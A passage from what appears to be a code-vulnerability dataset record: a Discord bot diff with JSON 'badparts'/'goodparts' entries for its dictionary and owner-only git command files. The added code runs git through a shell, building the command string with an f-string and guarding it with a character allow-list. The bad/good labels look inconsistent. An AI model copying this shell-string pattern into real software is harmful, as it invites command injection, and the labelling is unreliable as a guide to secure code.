ctx.send(f'I could not find a command called {query}!')\n else:\n+ if page_index is None:\n+ page_index = 0\n+\n bk.index = page_index\n await bk.send()\n \n@@ -330,7 +352,213 @@ def next_activity(self):\n )\n \n \n+async def _git_stash_and_do(ctx, args, dont_stash=False):\n+ async with ctx.channel.typing():\n+ # We assume sys.argv[0] will be __main__.py.\n+ # We therefore just get that path, get the dirname\n+ # and go up one directory to get our working directory\n+ # to call git in.\n+ entry_point = os.path.dirname(sys.argv[0])\n+ entry_point = os.path.join(entry_point, '..')\n+\n+ # We run git stash first in case there is uncommitted changes.\n+ if not dont_stash:\n+ await asyncio.subprocess.create_subprocess_shell(\n+ 'git stash',\n+ cwd=entry_point,\n+ stdout=asyncio.subprocess.PIPE,\n+ stderr=asyncio.subprocess.PIPE,\n+ encoding='ascii'\n+ )\n+\n+ result = await asyncio.create_subprocess_shell(\n+ f'git describe --all && git {args}',\n+ cwd=entry_point,\n+ stdout=asyncio.subprocess.PIPE,\n+ stderr=asyncio.subprocess.PIPE,\n+ encoding='ascii'\n+ )\n+\n+ if not dont_stash:\n+ await asyncio.subprocess.create_subprocess_shell(\n+ 'git stash apply',\n+ cwd=entry_point,\n+ stdout=asyncio.subprocess.PIPE,\n+ stderr=asyncio.subprocess.PIPE,\n+ encoding='ascii'\n+ )\n+\n+ stream = 'stderr' if result.returncode else 'stdout'\n+ stream: asyncio.StreamReader = getattr(result, stream)\n+ content = [await stream.read()]\n+ content = b''.join(content).decode('ascii')\n+ print(f'$ git stash && git {args} && git stash pop')\n+ print(content)\n+\n+ # If the output is very long, paginate.\n+ title = f'git {args}'\n+ if len(content) > 1900:\n+ pb = neko.PaginatedBook(\n+ title=title,\n+ prefix='```',\n+ suffix='```',\n+ ctx=ctx,\n+ max_size=800\n+ )\n+ pb.add_lines(content)\n+ await pb.send()\n+ else:\n+ await ctx.send(\n+ embed=discord.Embed(\n+ title=title,\n+ description=f'```\\n{content}\\n```',\n+ color=0x9b2d09\n+ )\n+ )\n+\n+\n+class OwnerOnlyCog(neko.Cog):\n+ \"\"\"Cog containing owner-only commands, such as to restart the bot.\"\"\"\n+\n+ permissions = (neko.Permissions.SEND_MESSAGES |\n+ neko.Permissions.ADD_REACTIONS |\n+ neko.Permissions.READ_MESSAGES |\n+ neko.Permissions.MANAGE_MESSAGES)\n+\n+ async def __local_check(self, ctx):\n+ \"\"\"Only the owner can run any commands or groups in this cog.\"\"\"\n+ return await ctx.bot.is_owner(ctx.author)\n+\n+ @neko.group(\n+ name='sudo',\n+ usage='|subcommand',\n+ brief='Commands and utilities only runnable by the bot owner.',\n+ hidden=True,\n+ invoke_without_command=True)\n+ async def command_grp(self, ctx):\n+ \"\"\"\n+ Run without any arguments to show a list of available commands.\n+ \"\"\"\n+ book = neko.PaginatedBook(title='Available commands',\n+ ctx=ctx)\n+\n+ for command in self.command_grp.commands:\n+ book.add_line(command.name)\n+\n+ await book.send()\n+\n+ @command_grp.command(\n+ name='stop', aliases=['restart'],\n+ brief='Kills the event loop and shuts down the bot.')\n+ async def stop_bot(self, ctx):\n+ await ctx.send('Okay, will now logout.')\n+ await ctx.bot.logout()\n+\n+ @command_grp.command(\n+ name='invite',\n+ brief='DM\\'s you a bot invite.'\n+ )\n+ async def invite(self, ctx):\n+ await ctx.author.send(ctx.bot.invite_url)\n+\n+ @command_grp.command(\n+ name='load',\n+ brief='Loads a given extension into the bot.',\n+ usage='extension.qualified.name'\n+ )\n+ async def load(self, ctx, *, fqn):\n+ \"\"\"\n+ Loads the given extension name into the bot.\n+\n+ WARNING! This will not run in an executor. If the extension loading\n+ process blocks, then the entire bot will block.\n+ \"\"\"\n+ start = time.time()\n+ ctx.bot.load_extension(fqn)\n+ delta = (time.time() - start) * 1e4\n+\n+ await ctx.send(f'Loaded `{fqn}` successfully in {delta:.3}ms')\n+\n+ @command_grp.command(\n+ name='unload',\n+ brief='Unloads a given extension from the bot (and any related cogs).',\n+ usage='extension.qualified.name|-c CogName'\n+ )\n+ async def unload(self, ctx, *, fqn):\n+ \"\"\"\n+ Unloads the given extension name from the bot.\n+\n+ WARNING! This will not run in an executor. If the extension loading\n+ process blocks, then the entire bot will block.\n+\n+ Note. If you wish to remove a single cog instead... pass the fqn\n+ in with the -c flag.\n+ \"\"\"\n+ if fqn.startswith('-c'):\n+ fqn = fqn[2:].lstrip()\n+ if fqn not in ctx.bot.cogs:\n+ raise ModuleNotFoundError(\n+ 'Cog was not loaded to begin with.'\n+ )\n+ func = ctx.bot.remove_cog\n+ else:\n+ if fqn not in ctx.bot.extensions:\n+ raise ModuleNotFoundError(\n+ 'Extension was not loaded to begin with.'\n+ )\n+ func = ctx.bot.unload_extension\n+\n+ start = time.time()\n+ func(fqn)\n+ delta = (time.time() - start) * 1e4\n+\n+ await ctx.send(f'Unloaded `{fqn}` successfully via '\n+ f'{func.__name__} in {delta:.3}ms')\n+\n+ @command_grp.group(\n+ name='git',\n+ brief='Various version control tasks.'\n+ )\n+ async def git_group(self, ctx):\n+ pass\n+\n+ @git_group.command(\n+ name='pull',\n+ brief='Executes `git pull`.'\n+ )\n+ async def git_pull(self, ctx):\n+ await _git_stash_and_do(ctx, 'pull')\n+\n+ @git_group.command(\n+ name='checkout',\n+ brief='Executes `git checkout`.'\n+ )\n+ async def git_checkout(self, ctx, *, branch: str):\n+ # Ensure all characters of \"branch\" are alpha-numeric, hyphens\n+ # and underscores.\n+ def is_valid_char(c: str):\n+ return c.isalnum() or c in ('_', '-')\n+\n+ if not all(is_valid_char(c) for c in branch):\n+ raise PermissionError('Possible code injection. Aborting.')\n+\n+ await _git_stash_and_do(ctx, f'checkout {branch}')\n+\n+ @git_group.command(\n+ name='log',\n+ brief='Executes `git log`.'\n+ )\n+ async def git_log(self, ctx):\n+ \"\"\"Shows the git log. Suppresses any email information.\"\"\"\n+ await _git_stash_and_do(\n+ ctx,\n+ 'log -n30 --oneline',\n+ dont_stash=True\n+ )\n+\n+\n def setup(bot):\n \"\"\"Adds the help cog to the bot.\"\"\"\n HelpCog.mksetup()(bot)\n ActivityChangerCog.mksetup()(bot)\n+ OwnerOnlyCog.mksetup()(bot)\ndiff --git a/plugins.json b/plugins.json\nindex aad60c3..8dea406 100755\n--- a/plugins.json\n+++ b/plugins.json\n@@ -1,8 +1,7 @@\n [\n \"cogs.unitconversion\",\n- \"cogs.botbits\",\n \"cogs.letters\",\n- \"cogs.owneronly\",\n \"cogs.apistatus\",\n- \"cogs.dictionaries\"\n+ \"cogs.dictionaries\",\n+ \"cogs.rng\"\n ]\n\\ No newline at end of file\n", "files": {"/cogs/dictionaries/wordnik.py": {"changes": [{"diff": "\n \n @neko.command(\n name='def',\n- aliases=['define', 'def', 'dfn'],\n+ aliases=['define', 'dfn'],\n brief='Looks for word definitions.',\n usage='name or phrase')\n async def get_word(self, ctx, *, word: str):", "add": 1, "remove": 1, "filename": "/cogs/dictionaries/wordnik.py", "badparts": [" aliases=['define', 'def', 'dfn'],"], "goodparts": [" aliases=['define', 'dfn'],"]}], "source": "\n\"\"\" Utilises the free wordnik API. Requires an API key. Sign up: http://www.wordnik.com/signup Get a key: http://developer.wordnik.com/ They seem to say they will send an email, however, I never got one. I checked in my settings and found the API key there. The key should be stored in the tokens.json file under \"wordnik\" \"\"\" import typing import wordnik.swagger as swagger import wordnik.WordApi as wordapi import wordnik.models.Definition as definition import neko _api_endpoint='http://api.wordnik.com/v4' _dictionaries='all' class WordnikCog(neko.Cog): def __init__(self): self.__token=neko.get_token('wordnik') self.logger.info(f'Opening API client for Wordnik to{_api_endpoint}') self.client=swagger.ApiClient(self.__token, _api_endpoint) @neko.command( name='def', aliases=['define', 'def', 'dfn'], brief='Looks for word definitions.', usage='name or phrase') async def get_word(self, ctx, *, word: str): \"\"\" Gets a definition of a given word or phrase from WordNik \"\"\" def _define(): api=wordapi.WordApi(self.client) return api.getDefinitions( word, sourceDictionaries=_dictionaries, includeRelated=True ) words: typing.List[definition.Definition]=await neko.no_block(_define) if words is None: await ctx.send('I couldn\\'t find a definition for that.') else: front=[] back=[] for word in words: if word.sourceDictionary in('gcide', 'wordnet'): front.append(word) else: back.append(word) words=[*front, *back] words: typing.List[definition.Definition]=[ word for word in words if not word.sourceDictionary.startswith('ahd') ] max_count=min(100, len(words)) book=neko.Book(ctx) for i in range(0, max_count): word=words[i] text='' if word.partOfSpeech: text +=f'**{word.partOfSpeech}** ' if word.text: text +=word.text if word.extendedText: text +='\\n\\n' text +=word.extendedText page=neko.Page( title=neko.capitalize(word.word), description=neko.ellipses(text, 2000), color=neko.random_colour() ) if word.exampleUses: example=word.exampleUses[0] ex_text=neko.ellipses(example.text, 800) page.add_field( name='Example', value=ex_text, inline=False ) if word.relatedWords: related=', '.join([ ', '.join(rw.words) for rw in word.relatedWords ]) page.add_field( name='Synonyms', value=neko.ellipses(related, 1000) ) if word.textProns: pron='\\n'.join([tp.raw for tp in word.textProns]) pron=neko.ellipses(pron, 400) page.add_field( name='Pronunciations', value=pron, ) if word.score: page.add_field( name='Scrabble score', value=word.score.value ) if word.labels: labels=', '.join(label.text for label in word.labels) labels=neko.ellipses(labels, 300) page.add_field( name='Labels', value=labels ) if word.notes: notes=[] for j, note in enumerate(word.notes): notes.append(f'[{j+1}]{note.value}') notes=neko.ellipses('\\n\\n'.join(notes), 300) page.add_field( name='Notes', value=notes ) if word.attributionText: attr=word.attributionText else: attr=('Extracted from ' f'{neko.capitalise(word.sourceDictionary)}') page.set_footer(text=attr) book +=page await book.send() ", "sourceWithComments": "\"\"\"\nUtilises the free wordnik API.\n\nRequires an API key.\n\nSign up:\n http://www.wordnik.com/signup\n\nGet a key:\n http://developer.wordnik.com/\n\nThey seem to say they will send an email, however, I never got one. I checked\nin my settings and found the API key there.\n\nThe key should be stored in the tokens.json file under \"wordnik\"\n\"\"\"\nimport typing\n\n# Pls fix your file names >.>\nimport wordnik.swagger as swagger\n# noinspection PyPep8Naming\nimport wordnik.WordApi as wordapi\n# noinspection PyPep8Naming\nimport wordnik.models.Definition as definition\n\nimport neko\n\n\n_api_endpoint = 'http://api.wordnik.com/v4'\n_dictionaries = 'all'\n\n\nclass WordnikCog(neko.Cog):\n def __init__(self):\n self.__token = neko.get_token('wordnik')\n self.logger.info(f'Opening API client for Wordnik to {_api_endpoint}')\n self.client = swagger.ApiClient(self.__token, _api_endpoint)\n\n @neko.command(\n name='def',\n aliases=['define', 'def', 'dfn'],\n brief='Looks for word definitions.',\n usage='name or phrase')\n async def get_word(self, ctx, *, word: str):\n \"\"\"\n Gets a definition of a given word or phrase from WordNik\n \"\"\"\n def _define():\n # Much complex. Very definition. Such API! Wow!\n api = wordapi.WordApi(self.client)\n\n # *prays to god this isn't lazy iterative.\n return api.getDefinitions(\n word,\n sourceDictionaries=_dictionaries,\n includeRelated=True\n )\n\n words: typing.List[definition.Definition] = await neko.no_block(_define)\n\n # Attempt to favour gcide and wordnet, as they have better definitions\n # imho.\n if words is None:\n await ctx.send('I couldn\\'t find a definition for that.')\n else:\n\n front = []\n back = []\n\n for word in words:\n if word.sourceDictionary in ('gcide', 'wordnet'):\n front.append(word)\n else:\n back.append(word)\n\n # Re-join.\n words = [*front, *back]\n\n words: typing.List[definition.Definition] = [\n word for word in words\n if not word.sourceDictionary.startswith('ahd')\n ]\n\n # Max results to get is 100.\n max_count = min(100, len(words))\n\n book = neko.Book(ctx)\n\n for i in range(0, max_count):\n word = words[i]\n\n text = ''\n if word.partOfSpeech:\n text += f'**{word.partOfSpeech}** '\n\n if word.text:\n text += word.text\n\n if word.extendedText:\n text += '\\n\\n'\n text += word.extendedText\n\n page = neko.Page(\n\n title=neko.capitalize(word.word),\n description=neko.ellipses(text, 2000),\n color=neko.random_colour()\n )\n\n if word.exampleUses:\n example = word.exampleUses[0]\n ex_text = neko.ellipses(example.text, 800)\n\n page.add_field(\n name='Example',\n value=ex_text,\n inline=False\n )\n\n if word.relatedWords:\n\n related = ', '.join([\n ', '.join(rw.words) for rw in word.relatedWords\n ])\n\n page.add_field(\n name='Synonyms',\n value=neko.ellipses(related, 1000)\n )\n\n if word.textProns:\n pron = '\\n'.join([tp.raw for tp in word.textProns])\n pron = neko.ellipses(pron, 400)\n\n page.add_field(\n name='Pronunciations',\n value=pron,\n )\n\n if word.score:\n page.add_field(\n name='Scrabble score',\n value=word.score.value\n )\n\n if word.labels:\n labels = ', '.join(label.text for label in word.labels)\n labels = neko.ellipses(labels, 300)\n\n page.add_field(\n name='Labels',\n value=labels\n )\n\n if word.notes:\n notes = []\n for j, note in enumerate(word.notes):\n notes.append(f'[{j+1}] {note.value}')\n\n notes = neko.ellipses('\\n\\n'.join(notes), 300)\n\n page.add_field(\n name='Notes',\n value=notes\n )\n\n if word.attributionText:\n attr = word.attributionText\n else:\n attr = ('Extracted from '\n f'{neko.capitalise(word.sourceDictionary)}')\n\n page.set_footer(text=attr)\n\n book += page\n\n await book.send()\n"}, "/cogs/owneronly.py": {"changes": [{"diff": "\n-\"\"\"\n-Owner-only commands. These do tasks such as restart the bot.\n-\"\"\"\n-import os\n-import subprocess\n-import sys\n-\n-import discord\n-import time\n-\n-import neko\n-\n-__all__ = ['OwnerOnlyCog', 'setup']\n-\n-\n-def __run_git_command(dont_stash, *args):\n- # We assume sys.argv[0] will be __main__.py.\n- # We therefore just get that path, get the dirname\n- # and go up one directory to get our working directory\n- # to call git in.\n- entry_point = os.path.dirname(sys.argv[0])\n- entry_point = os.path.join(entry_point, '..')\n-\n- # We do not let this run for more than 60 seconds.\n- # If it does, a TimeoutExpired exception will be thrown\n- # and we allow this to propagate out of this executor, into\n- # the command handler, where it shall be handled by the on_error\n- # handler I designed.\n-\n- # We run git stash first in case there is uncommitted changes.\n- if not dont_stash:\n- subprocess.run(\n- ['git', 'stash'],\n- cwd=entry_point,\n- stdout=subprocess.PIPE,\n- stderr=subprocess.PIPE,\n- timeout=60,\n- encoding='ascii'\n- )\n-\n- result = subprocess.run(\n- ['git', *args],\n- cwd=entry_point,\n- stdout=subprocess.PIPE,\n- stderr=subprocess.PIPE,\n- timeout=60,\n- encoding='ascii'\n- )\n-\n- if not dont_stash:\n- subprocess.run(\n- ['git', 'stash', 'apply'],\n- cwd=entry_point,\n- stdout=subprocess.PIPE,\n- stderr=subprocess.PIPE,\n- timeout=60,\n- encoding='ascii'\n- )\n- return result\n-\n-\n-async def _git_stash_and_do(ctx, *args, dont_stash=False):\n- # Run in an executor to ensure we do not block the event loop.\n- async with ctx.channel.typing():\n- completed_process = await neko.no_block(\n- __run_git_command,\n- args=[dont_stash, *args]\n- )\n-\n- print(completed_process.stdout)\n- print(completed_process.stderr, file=sys.stderr)\n-\n- stream = 'stderr' if completed_process.returncode else 'stdout'\n- stream = getattr(completed_process, stream)\n-\n- # If the output is very long, paginate.\n- title = f'git {\" \".join(args)}'\n- if len(stream) > 1900:\n- pb = neko.PaginatedBook(\n- title=title,\n- ctx=ctx,\n- max_size=800\n- )\n- pb.add_lines(stream)\n- await pb.send()\n- else:\n- await ctx.send(\n- embed=discord.Embed(\n- title=title,\n- description=stream,\n- color=0x9b2d09\n- )\n- )\n-\n-\n-class OwnerOnlyCog(neko.Cog):\n- \"\"\"Cog containing owner-only commands, such as to restart the bot.\"\"\"\n-\n- permissions = (neko.Permissions.SEND_MESSAGES |\n- neko.Permissions.ADD_REACTIONS |\n- neko.Permissions.READ_MESSAGES |\n- neko.Permissions.MANAGE_MESSAGES)\n-\n- async def __local_check(self, ctx):\n- \"\"\"Only the owner can run any commands or groups in this cog.\"\"\"\n- return await ctx.bot.is_owner(ctx.author)\n-\n- @neko.group(\n- name='sudo',\n- usage='|subcommand',\n- brief='Commands and utilities only runnable by the bot owner.',\n- hidden=True,\n- invoke_without_command=True)\n- async def command_grp(self, ctx):\n- \"\"\"\n- Run without any arguments to show a list of available commands.\n- \"\"\"\n- book = neko.PaginatedBook(title='Available commands',\n- ctx=ctx)\n-\n- for command in self.command_grp.commands:\n- book.add_line(command.name)\n-\n- await book.send()\n-\n- @command_grp.command(\n- name='stop', aliases=['restart'],\n- brief='Kills the event loop and shuts down the bot.')\n- async def stop_bot(self, ctx):\n- await ctx.send('Okay, will now logout.')\n- await ctx.bot.logout()\n-\n- @command_grp.command(\n- name='invite',\n- brief='DM\\'s you a bot invite.'\n- )\n- async def invite(self, ctx):\n- await ctx.author.send(ctx.bot.invite_url)\n-\n- @command_grp.command(\n- name='load',\n- brief='Loads a given extension into the bot.',\n- usage='extension.qualified.name'\n- )\n- async def load(self, ctx, *, fqn):\n- \"\"\"\n- Loads the given extension name into the bot.\n-\n- WARNING! This will not run in an executor. If the extension loading\n- process blocks, then the entire bot will block.\n- \"\"\"\n- start = time.time()\n- ctx.bot.load_extension(fqn)\n- delta = (time.time() - start) * 1e4\n-\n- await ctx.send(f'Loaded `{fqn}` successfully in {delta:.3}ms')\n-\n- @command_grp.command(\n- name='unload',\n- brief='Unloads a given extension from the bot (and any related cogs).',\n- usage='extension.qualified.name|-c CogName'\n- )\n- async def unload(self, ctx, *, fqn):\n- \"\"\"\n- Unloads the given extension name from the bot.\n-\n- WARNING! This will not run in an executor. If the extension loading\n- process blocks, then the entire bot will block.\n-\n- Note. If you wish to remove a single cog instead... pass the fqn\n- in with the -c flag.\n- \"\"\"\n- if fqn.startswith('-c'):\n- fqn = fqn[2:].lstrip()\n- if fqn not in ctx.bot.cogs:\n- raise ModuleNotFoundError(\n- 'Cog was not loaded to begin with.'\n- )\n- func = ctx.bot.remove_cog\n- else:\n- if fqn not in ctx.bot.extensions:\n- raise ModuleNotFoundError(\n- 'Extension was not loaded to begin with.'\n- )\n- func = ctx.bot.unload_extension\n-\n- start = time.time()\n- func(fqn)\n- delta = (time.time() - start) * 1e4\n-\n- await ctx.send(f'Unloaded `{fqn}` successfully via '\n- f'{func.__name__} in {delta:.3}ms')\n-\n-\n-\n- @command_grp.group(\n- name='git',\n- brief='Various version control tasks.'\n- )\n- async def git_group(self, ctx):\n- pass\n-\n- @git_group.command(\n- name='pull',\n- brief='Executes `git pull`.'\n- )\n- async def git_pull(self, ctx):\n- await _git_stash_and_do(ctx, 'pull')\n-\n- @git_group.command(\n- name='checkout',\n- brief='Executes `git checkout`.'\n- )\n- async def git_checkout(self, ctx, *, branch: str):\n- await _git_stash_and_do(ctx, 'checkout', branch)\n-\n- @git_group.command(\n- name='log',\n- brief='Executes `git log`.'\n- )\n- async def git_log(self, ctx):\n- \"\"\"Shows the git log. Suppresses any email information.\"\"\"\n- await _git_stash_and_do(\n- ctx,\n- 'log',\n- '-n',\n- '30',\n- '--oneline',\n- dont_stash=True\n- )\n-\n-\n-setup = OwnerOnlyCog.mksetup(", "add": 0, "remove": 233, "filename": "/cogs/owneronly.py", "badparts": ["\"\"\"", "Owner-only commands. These do tasks such as restart the bot.", "\"\"\"", "import subprocess", "import sys", "import discord", "import time", "import neko", "__all__ = ['OwnerOnlyCog', 'setup']", "def __run_git_command(dont_stash, *args):", " entry_point = os.path.dirname(sys.argv[0])", " entry_point = os.path.join(entry_point, '..')", " if not dont_stash:", " subprocess.run(", " ['git', 'stash'],", " cwd=entry_point,", " stdout=subprocess.PIPE,", " stderr=subprocess.PIPE,", " timeout=60,", " encoding='ascii'", " )", " result = subprocess.run(", " ['git', *args],", " cwd=entry_point,", " stdout=subprocess.PIPE,", " stderr=subprocess.PIPE,", " timeout=60,", " encoding='ascii'", " )", " if not dont_stash:", " subprocess.run(", " ['git', 'stash', 'apply'],", " cwd=entry_point,", " stdout=subprocess.PIPE,", " stderr=subprocess.PIPE,", " timeout=60,", " encoding='ascii'", " )", " return result", "async def _git_stash_and_do(ctx, *args, dont_stash=False):", " async with ctx.channel.typing():", " completed_process = await neko.no_block(", " __run_git_command,", " args=[dont_stash, *args]", " )", " print(completed_process.stdout)", " print(completed_process.stderr, file=sys.stderr)", " stream = 'stderr' if completed_process.returncode else 'stdout'", " stream = getattr(completed_process, stream)", " title = f'git {\" \".join(args)}'", " if len(stream) > 1900:", " pb = neko.PaginatedBook(", " title=title,", " ctx=ctx,", " max_size=800", " )", " pb.add_lines(stream)", " await pb.send()", " else:", " await ctx.send(", " embed=discord.Embed(", " title=title,", " description=stream,", " color=0x9b2d09", " )", " )", "class OwnerOnlyCog(neko.Cog):", " \"\"\"Cog containing owner-only commands, such as to restart the bot.\"\"\"", " permissions = (neko.Permissions.SEND_MESSAGES |", " neko.Permissions.ADD_REACTIONS |", " neko.Permissions.READ_MESSAGES |", " neko.Permissions.MANAGE_MESSAGES)", " async def __local_check(self, ctx):", " \"\"\"Only the owner can run any commands or groups in this cog.\"\"\"", " return await ctx.bot.is_owner(ctx.author)", " @neko.group(", " name='sudo',", " usage='|subcommand',", " brief='Commands and utilities only runnable by the bot owner.',", " hidden=True,", " invoke_without_command=True)", " async def command_grp(self, ctx):", " \"\"\"", " Run without any arguments to show a list of available commands.", " \"\"\"", " book = neko.PaginatedBook(title='Available commands',", " ctx=ctx)", " for command in self.command_grp.commands:", " book.add_line(command.name)", " await book.send()", " @command_grp.command(", " name='stop', aliases=['restart'],", " brief='Kills the event loop and shuts down the bot.')", " async def stop_bot(self, ctx):", " await ctx.send('Okay, will now logout.')", " await ctx.bot.logout()", " @command_grp.command(", " name='invite',", " brief='DM\\'s you a bot invite.'", " )", " async def invite(self, ctx):", " await ctx.author.send(ctx.bot.invite_url)", " @command_grp.command(", " name='load',", " brief='Loads a given extension into the bot.',", " usage='extension.qualified.name'", " )", " async def load(self, ctx, *, fqn):", " \"\"\"", " Loads the given extension name into the bot.", " WARNING! This will not run in an executor. If the extension loading", " process blocks, then the entire bot will block.", " \"\"\"", " start = time.time()", " ctx.bot.load_extension(fqn)", " delta = (time.time() - start) * 1e4", " await ctx.send(f'Loaded `{fqn}` successfully in {delta:.3}ms')", " @command_grp.command(", " name='unload',", " brief='Unloads a given extension from the bot (and any related cogs).',", " usage='extension.qualified.name|-c CogName'", " )", " async def unload(self, ctx, *, fqn):", " \"\"\"", " Unloads the given extension name from the bot.", " WARNING! This will not run in an executor. If the extension loading", " process blocks, then the entire bot will block.", " Note. If you wish to remove a single cog instead... pass the fqn", " in with the -c flag.", " \"\"\"", " if fqn.startswith('-c'):", " fqn = fqn[2:].lstrip()", " if fqn not in ctx.bot.cogs:", " raise ModuleNotFoundError(", " 'Cog was not loaded to begin with.'", " )", " func = ctx.bot.remove_cog", " else:", " if fqn not in ctx.bot.extensions:", " raise ModuleNotFoundError(", " 'Extension was not loaded to begin with.'", " )", " func = ctx.bot.unload_extension", " start = time.time()", " func(fqn)", " delta = (time.time() - start) * 1e4", " await ctx.send(f'Unloaded `{fqn}` successfully via '", " f'{func.__name__} in {delta:.3}ms')", " @command_grp.group(", " name='git',", " brief='Various version control tasks.'", " )", " async def git_group(self, ctx):", " pass", " @git_group.command(", " name='pull',", " brief='Executes `git pull`.'", " )", " async def git_pull(self, ctx):", " await _git_stash_and_do(ctx, 'pull')", " @git_group.command(", " name='checkout',", " brief='Executes `git checkout`.'", " )", " async def git_checkout(self, ctx, *, branch: str):", " await _git_stash_and_do(ctx, 'checkout', branch)", " @git_group.command(", " name='log',", " brief='Executes `git log`.'", " )", " async def git_log(self, ctx):", " \"\"\"Shows the git log. Suppresses any email information.\"\"\"", " await _git_stash_and_do(", " ctx,", " 'log',", " '-n',", " '30',", " '--oneline',", " dont_stash=True", " )", "setup = OwnerOnlyCog.mksetup("], "goodparts": []}], "source": "\n\"\"\" Owner-only commands. These do tasks such as restart the bot. \"\"\" import os import subprocess import sys import discord import time import neko __all__=['OwnerOnlyCog', 'setup'] def __run_git_command(dont_stash, *args): entry_point=os.path.dirname(sys.argv[0]) entry_point=os.path.join(entry_point, '..') if not dont_stash: subprocess.run( ['git', 'stash'], cwd=entry_point, stdout=subprocess.PIPE, stderr=subprocess.PIPE, timeout=60, encoding='ascii' ) result=subprocess.run( ['git', *args], cwd=entry_point, stdout=subprocess.PIPE, stderr=subprocess.PIPE, timeout=60, encoding='ascii' ) if not dont_stash: subprocess.run( ['git', 'stash', 'apply'], cwd=entry_point, stdout=subprocess.PIPE, stderr=subprocess.PIPE, timeout=60, encoding='ascii' ) return result async def _git_stash_and_do(ctx, *args, dont_stash=False): async with ctx.channel.typing(): completed_process=await neko.no_block( __run_git_command, args=[dont_stash, *args] ) print(completed_process.stdout) print(completed_process.stderr, file=sys.stderr) stream='stderr' if completed_process.returncode else 'stdout' stream=getattr(completed_process, stream) title=f'git{\" \".join(args)}' if len(stream) > 1900: pb=neko.PaginatedBook( title=title, ctx=ctx, max_size=800 ) pb.add_lines(stream) await pb.send() else: await ctx.send( embed=discord.Embed( title=title, description=stream, color=0x9b2d09 ) ) class OwnerOnlyCog(neko.Cog): \"\"\"Cog containing owner-only commands, such as to restart the bot.\"\"\" permissions=(neko.Permissions.SEND_MESSAGES | neko.Permissions.ADD_REACTIONS | neko.Permissions.READ_MESSAGES | neko.Permissions.MANAGE_MESSAGES) async def __local_check(self, ctx): \"\"\"Only the owner can run any commands or groups in this cog.\"\"\" return await ctx.bot.is_owner(ctx.author) @neko.group( name='sudo', usage='|subcommand', brief='Commands and utilities only runnable by the bot owner.', hidden=True, invoke_without_command=True) async def command_grp(self, ctx): \"\"\" Run without any arguments to show a list of available commands. \"\"\" book=neko.PaginatedBook(title='Available commands', ctx=ctx) for command in self.command_grp.commands: book.add_line(command.name) await book.send() @command_grp.command( name='stop', aliases=['restart'], brief='Kills the event loop and shuts down the bot.') async def stop_bot(self, ctx): await ctx.send('Okay, will now logout.') await ctx.bot.logout() @command_grp.command( name='invite', brief='DM\\'s you a bot invite.' ) async def invite(self, ctx): await ctx.author.send(ctx.bot.invite_url) @command_grp.command( name='load', brief='Loads a given extension into the bot.', usage='extension.qualified.name' ) async def load(self, ctx, *, fqn): \"\"\" Loads the given extension name into the bot. WARNING! This will not run in an executor. If the extension loading process blocks, then the entire bot will block. \"\"\" start=time.time() ctx.bot.load_extension(fqn) delta=(time.time() -start) * 1e4 await ctx.send(f'Loaded `{fqn}` successfully in{delta:.3}ms') @command_grp.command( name='unload', brief='Unloads a given extension from the bot(and any related cogs).', usage='extension.qualified.name|-c CogName' ) async def unload(self, ctx, *, fqn): \"\"\" Unloads the given extension name from the bot. WARNING! This will not run in an executor. If the extension loading process blocks, then the entire bot will block. Note. If you wish to remove a single cog instead... pass the fqn in with the -c flag. \"\"\" if fqn.startswith('-c'): fqn=fqn[2:].lstrip() if fqn not in ctx.bot.cogs: raise ModuleNotFoundError( 'Cog was not loaded to begin with.' ) func=ctx.bot.remove_cog else: if fqn not in ctx.bot.extensions: raise ModuleNotFoundError( 'Extension was not loaded to begin with.' ) func=ctx.bot.unload_extension start=time.time() func(fqn) delta=(time.time() -start) * 1e4 await ctx.send(f'Unloaded `{fqn}` successfully via ' f'{func.__name__} in{delta:.3}ms') @command_grp.group( name='git', brief='Various version control tasks.' ) async def git_group(self, ctx): pass @git_group.command( name='pull', brief='Executes `git pull`.' ) async def git_pull(self, ctx): await _git_stash_and_do(ctx, 'pull') @git_group.command( name='checkout', brief='Executes `git checkout`.' ) async def git_checkout(self, ctx, *, branch: str): await _git_stash_and_do(ctx, 'checkout', branch) @git_group.command( name='log', brief='Executes `git log`.' ) async def git_log(self, ctx): \"\"\"Shows the git log. Suppresses any email information.\"\"\" await _git_stash_and_do( ctx, 'log', '-n', '30', '--oneline', dont_stash=True ) setup=OwnerOnlyCog.mksetup() ", "sourceWithComments": "\"\"\"\nOwner-only commands. These do tasks such as restart the bot.\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\nimport discord\nimport time\n\nimport neko\n\n__all__ = ['OwnerOnlyCog', 'setup']\n\n\ndef __run_git_command(dont_stash, *args):\n # We assume sys.argv[0] will be __main__.py.\n # We therefore just get that path, get the dirname\n # and go up one directory to get our working directory\n # to call git in.\n entry_point = os.path.dirname(sys.argv[0])\n entry_point = os.path.join(entry_point, '..')\n\n # We do not let this run for more than 60 seconds.\n # If it does, a TimeoutExpired exception will be thrown\n # and we allow this to propagate out of this executor, into\n # the command handler, where it shall be handled by the on_error\n # handler I designed.\n\n # We run git stash first in case there is uncommitted changes.\n if not dont_stash:\n subprocess.run(\n ['git', 'stash'],\n cwd=entry_point,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n timeout=60,\n encoding='ascii'\n )\n\n result = subprocess.run(\n ['git', *args],\n cwd=entry_point,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n timeout=60,\n encoding='ascii'\n )\n\n if not dont_stash:\n subprocess.run(\n ['git', 'stash', 'apply'],\n cwd=entry_point,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n timeout=60,\n encoding='ascii'\n )\n return result\n\n\nasync def _git_stash_and_do(ctx, *args, dont_stash=False):\n # Run in an executor to ensure we do not block the event loop.\n async with ctx.channel.typing():\n completed_process = await neko.no_block(\n __run_git_command,\n args=[dont_stash, *args]\n )\n\n print(completed_process.stdout)\n print(completed_process.stderr, file=sys.stderr)\n\n stream = 'stderr' if completed_process.returncode else 'stdout'\n stream = getattr(completed_process, stream)\n\n # If the output is very long, paginate.\n title = f'git {\" \".join(args)}'\n if len(stream) > 1900:\n pb = neko.PaginatedBook(\n title=title,\n ctx=ctx,\n max_size=800\n )\n pb.add_lines(stream)\n await pb.send()\n else:\n await ctx.send(\n embed=discord.Embed(\n title=title,\n description=stream,\n color=0x9b2d09\n )\n )\n\n\nclass OwnerOnlyCog(neko.Cog):\n \"\"\"Cog containing owner-only commands, such as to restart the bot.\"\"\"\n\n permissions = (neko.Permissions.SEND_MESSAGES |\n neko.Permissions.ADD_REACTIONS |\n neko.Permissions.READ_MESSAGES |\n neko.Permissions.MANAGE_MESSAGES)\n\n async def 